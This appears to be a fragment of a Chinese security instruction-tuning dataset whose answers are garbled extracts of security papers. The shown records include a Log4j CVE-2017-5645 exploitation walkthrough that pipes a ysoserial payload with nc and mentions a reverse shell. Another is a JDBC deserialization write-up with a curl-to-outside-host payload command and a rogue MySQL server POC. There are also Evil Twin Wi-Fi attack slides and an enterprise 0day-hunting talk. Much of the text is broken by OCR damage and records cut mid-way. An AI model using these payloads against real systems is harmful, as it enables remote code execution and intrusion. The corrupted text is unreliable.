PentesterAcademy.com PentesterAcademy.co m/ Aste", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Apache Log4j Server 反序列化命令执行漏洞CVE-2017-5645 Apache Log4j是一个用于Java的日志记录库其支持启动远程日志服务器Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞攻击者可利用该漏洞执行任意代码 ## 漏洞环境 执行如下命令启动漏洞环境 ``` docker compose up -d ``` 环境启动后将在4712端口开启一个TCPServer 说一下除了使用vulhub的docker镜像搭建环境外我们下载了log4j的jar文件后可以直接在命令行启动这个TCPServer`java -cp \"log4j-api-2.8.1.jar:log4j-core-2.8.1.jar:jcommander-1.72.jar\" org.apache.logging.log4j.core.net.server.TcpSocketServer`无需使用vulhub和编写代码 ## 漏洞复现 我们使用ysoserial生成payload然后直接发送给`your-ip:4712`端口即可 ``` java -jar ysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5 \"touch /tmp/success\" | nc your-ip 4712 ``` 然后执行`docker compose exec log4j bash`进入容器可见 /tmp/success 已成功创建 ![](1.png) 执行[反弹shell的命令](http://www.jackson-t.ca/runtime-exec-payloads.html)成功弹回shell ![](2.png)", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 JDBC反序列化学习 JDBC 测试环境 建JDBC连接 反序列化简单介绍 断点调试 构造POC show session status响应包 Exp 补充 资料原 不复制粘贴了,JDBC基础介绍 IDEA Mysql 5.7 https://www.runoob.com/java/java-mysql-connect.html 学习来源 https://xz.aliyun.com/t/8159 JDBC 1 Java Database Connectivity 测试环境 建JDBC连接 2 下载驱动包 https://dev.mysql.com/downloads/connector/j/ 不要下最新的估摸着是修了下载8.0.12 多下个版本 3 右键引作为module库就跑起来了 漫谈Java反序列化 https://github.com/SummerSec/JavaLearnVulnerability 每个版本在反序列化利的时候有定区别 反序列化简单介绍 4 以及落萧萧的article 跟着章学习 com.mysql.cj.jdbc.Driver的触发点是 要触发需要在连接字符串中加上 打断点 1 反序列化漏洞三要素实现Serializabe接readObject()writeObject()法 缺不可 2 3 漏洞挖掘或许就是怎么找到可控点达到rce的的 断点调试 1 com.mysql.cj.jdbc.result.ResultSetImpl.getObject() 1 queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffI nterceptor&autoDeserialize=true 5 如果是进制数据就会往下到readObject处触发反序列化 6 这个法在 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithS essionStatusValues() 处调 对其他的漏洞分析章发现我的这个版本在这没有了对结果处理的函数 调点 7 根据执 SHOW SESSION STATUS 这条语句之后要在服务端返回个恶意的进制对象所以重点就是 怎么构造这个对象有时候漏洞存在的情况仍然攻击不成功有可能是因为各个版本的mysql发包不样 需要抓包定制化攻击 Mac下抓包测试 第个是Response Ok 构造POC 1 tcp.port ==3306 && mysql 8 数据包内容为 重点是这个响应包 结果集响应包的结构 1 0700000200000002000000 show session status响应包 9 数据段1说明下的结果集有多少列 数据段2列的定义 数据段3 EOF 包 数据段4数据 结果集数据包如图 10 整个数据包如下 1 01 数据度为1 00 00 01 sequence id为1 02 代表有两列 11 第三部分是EOF章作者说加上就会报错我在问熟悉这个漏洞的朋友 第四部分就是的poc 使yso成即可 yso的链前不懂 补充截图 问候报 1 java -jar wingyso.jar CommonsCollections7 \"curl 5s3g.hyuga.co\" > data 12 所有的response需要对应上 作者的poc 1 # -*- coding:utf-8 -*- 2 #@Time : 2020/7/27 2:10 3 #@Author: Tri0mphe7 4 #@File : server.py 5 import socket 6 import binascii 7 import os 8 9 greeting_data=\"4a0000000a352e372e31390008000000463b452623342c2d0 0fff7080200ff811500000000000000000000032851553e5c23502c51366a006 d7973716c5f6e61746976655f70617373776f726400\" 10 response_ok_data=\"0700000200000002000000\" 13 11 12 def receive_data(conn): 13 data = conn.recv(1024) 14 print(\"[*] Receiveing the package : {}\".format(data)) 15 return str(data).lower() 16 17 def send_data(conn,data): 18 print(\"[*] ", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBuilding the Pe rfe ct Evil Tw in Rich Mo gull Se curo sis, LLC e curo sis.co m Are nt Evil Tw ins Old Ne w s? Ye p, but so is Jim m y Buffe tt and he still se lls o ut m o re sho w s than go d. e curo sis.co m Evil Tw in 1 01 X 1 . Inje ct de auth 2 . Ove rpo w e r AP and MiTM 3 . Enjo y pw nage e curo sis.co m Evil Tw in 501 Se lf co ntaine d High po w e re d Dro p and le ave Multiple e xplo it o ptio ns e curo sis.co m Explo it Optio ns  Explo it bro w se r o n splash scre e n and install tro jan fo r late r acce ss.  Sniff/MiTM traffic.  Inje ct HTML e curo sis.co m Why This Matte rs?  The re s no thing ne w he re , but this attack w ill be e ffe ctive fo r ye ars to co m e .  Its a gre at ve cto r fo r any 0days o r o the r e xplo it advance m e nts.  Ente rprise s are w e ll pro te cte d, but distribute d e nte rprise s are m o re vulne rable .  Pw n the co nsum e r, e ve ntually yo u o w n the e nte rprise . Rich Mo gull rm o gull@ se curo sis.co m http://se curo sis.co m AIM: se curo sis Skype : rm o gull Se curo sis, L.L.C.", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nFinding 0days in Enterprise Software Shubham Shah Hacking HCL Digital Experience also known as IBM Websphere Portal What is HCL Digital Experience / IBM Websphere Portal  Enterprise content management system.  Used by medium - large enterprises, and is a very flexible content delivery application.  Around 4.5k instances on the internet.  Often self-hosted on an IBM WebSphere server.  Widespread usage amongst fortune 500 and in companies running bug bounties. IBM WebSphere  Getting started by running the docker image:  docker run -p 127.0.0.1:30015:30015 ibmcom/websphere-portal:latest Decompiling JARs  find . -type f -name \\*.jar -exec tar rf /tmp/outfile2.tar {} \\;  find . -type f -name '*.jar' | xargs -n 1 -P 20 -I {} procyon-decompiler -o decompiled2 {} Finding The Attack Surface  grep -anril ' or grep -anril